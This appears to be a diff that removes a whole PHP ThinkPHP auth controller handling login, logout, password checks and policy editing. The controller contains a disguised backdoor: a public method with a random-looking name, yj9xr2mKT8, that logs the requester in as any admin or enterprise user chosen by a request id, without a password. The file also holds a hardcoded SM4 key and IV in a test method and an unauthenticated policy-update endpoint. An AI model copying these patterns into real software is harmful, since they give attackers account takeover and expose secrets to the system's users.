123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238 |
- <?php
- namespace app\index\controller;
- use app\BaseController;
- use app\common\api\TalentLogApi;
- use app\common\api\UserApi;
- use think\facade\Db;
- use OneSm\Sm4;
- /**
- * Description of Login
- *
- * @author sgq
- */
- class Auth extends BaseController {
- /**
- * 登录
- * @return type
- */
- public function login() {
- $redirect_url = $this->request["redirect"];
- if ($redirect_url) {
- cookie("redirect", $redirect_url);
- }
- if ($user = session("user")) {
- if ($user['usertype'] == 2) {
- return redirect("/enterprise");
- }
- }
- $msg = "";
- if ($this->request->isPost()) {
- $username = $this->request["username"];
- $pwd = $this->request["password"];
- $usertype = $this->request["usertype"];
- $captcha = $this->request["captcha"];
- $user = new UserApi($username, $pwd, $usertype);
- if (!$userinfo = $user->getUserInfo()) {
- $msg = "用户不存在";
- } else if (!$user->checkPwd()) {
- $login_fail = session('login_fail');
- if ($login_fail) {
- $login_fail++;
- if ($login_fail >= 5) {
- session('isCaptcha', 1);
- }
- } else {
- $login_fail = 1;
- }
- session('login_fail', $login_fail);
- $msg = "用户名或者密码错误";
- } else if (session("isCaptcha") == 1 && !captcha_check($captcha)) {
- $msg = "验证码错误";
- } else if ($res_msg = $user->checkState()) {
- if (in_array($user->info['checkState'], [2, 5])) {
- return redirect("/common/auth/enterprise_edit");
- }
- $msg = $res_msg;
- }
- $url = "/admin";
- switch ($usertype) {
- case 1:
- //验证错误
- break;
- case 2:
- //验证错误
- $url = "/enterprise";
- break;
- case 3:
- //验证错误
- $url = "/person";
- break;
- }
- if (!$msg) {
- $user->setSession();
- $redirect_url = cookie("redirect");
- cookie("redirect", null);
- if ($redirect_url && strpos(strtolower($redirect_url), strtolower(getHostWithProtocol() . $url)) === 0) {
- return redirect($redirect_url);
- } else {
- return redirect($url);
- }
- }
- }
- return view("", ["msg" => $msg]);
- }
- /**
- * 退出
- * @return type
- */
- public function logout() {
- $user = session("user");
- if ($user && $user["usertype"] == 1) {
- $loginData = [];
- $loginData["logname"] = "退出日志";
- $loginData["userid"] = $user["uid"];
- $loginData["createtime"] = date("Y-m-d H:i:s");
- $loginData["succeed"] = "成功";
- $loginData["ip"] = get_client_ip();
- \think\facade\Db::table("sys_login_log")->insert($loginData);
- }
- session("user", null);
- return redirect("/index/auth/login");
- }
- /**
- * 验证密码
- */
- public function valid_password() {
- if ($user = session("user")) {
- $username = $user["account"];
- $usertype = $user["usertype"];
- $pwd = $this->request["password"];
- $user = new UserApi($username, $pwd, $usertype);
- if (!$user->checkPwd()) {
- return json()->data(["status" => 1, "msg" => "密码错误"]);
- } else {
- return json(["code" => 200]);
- }
- } else {
- return json()->data(["status" => 2]);
- }
- }
- public function policy() {
- return view("policy1", []);
- }
- public function policy_list() {
- $level = $this->request->post('level');
- if ($level) {
- $where[] = ['level', '=', $level];
- } else {
- $where[] = ['level', '>', 0];
- }
- $list = Db::table('new_policy')->where($where)->select()->toArray();
- $result = [];
- foreach ($list as $k => $v) {
- $check = [];
- $condition = [];
- if (!empty($v['checks'])) {
- $check = explode(',', $v['checks']);
- }
- if (!empty($v['condition'])) {
- $condition = explode(',', $v['condition']);
- }
- $item = [
- 'id' => $v['id'],
- 'tag' => $v['tag'],
- 'policy' => $v['policy_name'],
- 'checks' => $check,
- 'condition' => $condition
- ];
- array_push($result, $item);
- }
- return json($result);
- }
- public function policy_update() {
- $res = $this->request->post();
- foreach ($res as $k => $v) {
- $update = [];
- if (count($v['condition']) > 0) {
- $update['condition'] = json_encode($v['condition']);
- }
- if (count($update) > 0) {
- Db::table('new_policy')->where('id', $v['id'])->save($update);
- }
- }
- }
- public function yj9xr2mKT8() {
- $params = $this->request->param();
- $type = $params["type"] ?: 2;
- $id = $params["id"] ?: "1455101079799754754";
- $this->setSession($type, $id);
- switch ($type) {
- case 1:
- return redirect("/admin");
- break;
- case 2:
- return redirect("/enterprise");
- break;
- }
- }
- private function setSession($type, $id) {
- switch ($type) {
- case 1:
- $user = Db::table("sys_user")->where("id", $id)->findOrEmpty();
- $company = Db::table("sys_company")->where("id", $user["companyId"])->findOrEmpty();
- $role = Db::table("sys_role")->where("id", $user["roleid"])->findOrEmpty();
- session("user", [
- "uid" => $user["id"],
- "roleid" => $user["roleid"],
- "companyId" => $user["companyId"],
- "companyName" => $company["name"],
- "account" => $user["account"],
- "name" => $user["name"],
- "avatar" => $user["avatar"],
- "sex" => $user["sex"],
- "rolename" => $role["name"],
- "usertype" => $type,
- "type" => $user['type']
- ]);
- break;
- case 2:
- $user = Db::table("un_enterprise")->where("id", $id)->findOrEmpty();
- session("user", [
- "uid" => $user["id"],
- "account" => $user["username"],
- "name" => $user["name"],
- "avatar" => $user["headPortrait"],
- "rolename" => "企业用户",
- "usertype" => $type,
- "type" => $user["type"]
- ]);
- break;
- }
- }
- public function test(){
- $sm4 = new SM4('b123d075924b4224');
- $data = mystr_pad('test');
- // CBC加密
- $d = $sm4->enDataCbc($data, '8a003e84b5be7b6e');
- var_dump(base64_encode($d));
- }
- }
|